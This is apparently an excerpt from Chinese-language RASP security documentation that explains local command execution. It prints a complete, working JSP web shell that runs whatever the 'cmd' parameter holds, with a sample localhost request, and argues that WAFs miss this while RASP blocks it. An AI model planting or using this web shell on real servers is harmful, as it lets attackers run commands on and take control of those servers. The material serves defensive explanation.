示例 - 存在本地命令执行代码(java.lang.Runtime):
<%@ page contentType="text/html;charset=UTF-8" language="java" %><%@ page import="java.io.InputStream" %><pre><%Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));InputStream in = process.getInputStream();int a = 0;byte[] b = new byte[1024];while ((a = in.read(b)) != -1) {out.println(new String(b, 0, a));}in.close();%></pre>
攻击者通过向 cmd 参数传入恶意的代码即可在服务器上执行任意系统命令,请求:http://localhost:8000/modules/cmd/cmd.jsp?cmd=ls,如下图:
由于传入的cmd参数仅仅是一个两位的英文字母,传统的WAF基本都不具备对该类型的攻击检测,所以如果没有RASP的本地命令执行防御会导致攻击者可以在服务器中执行恶意的命令从而控制服务器。
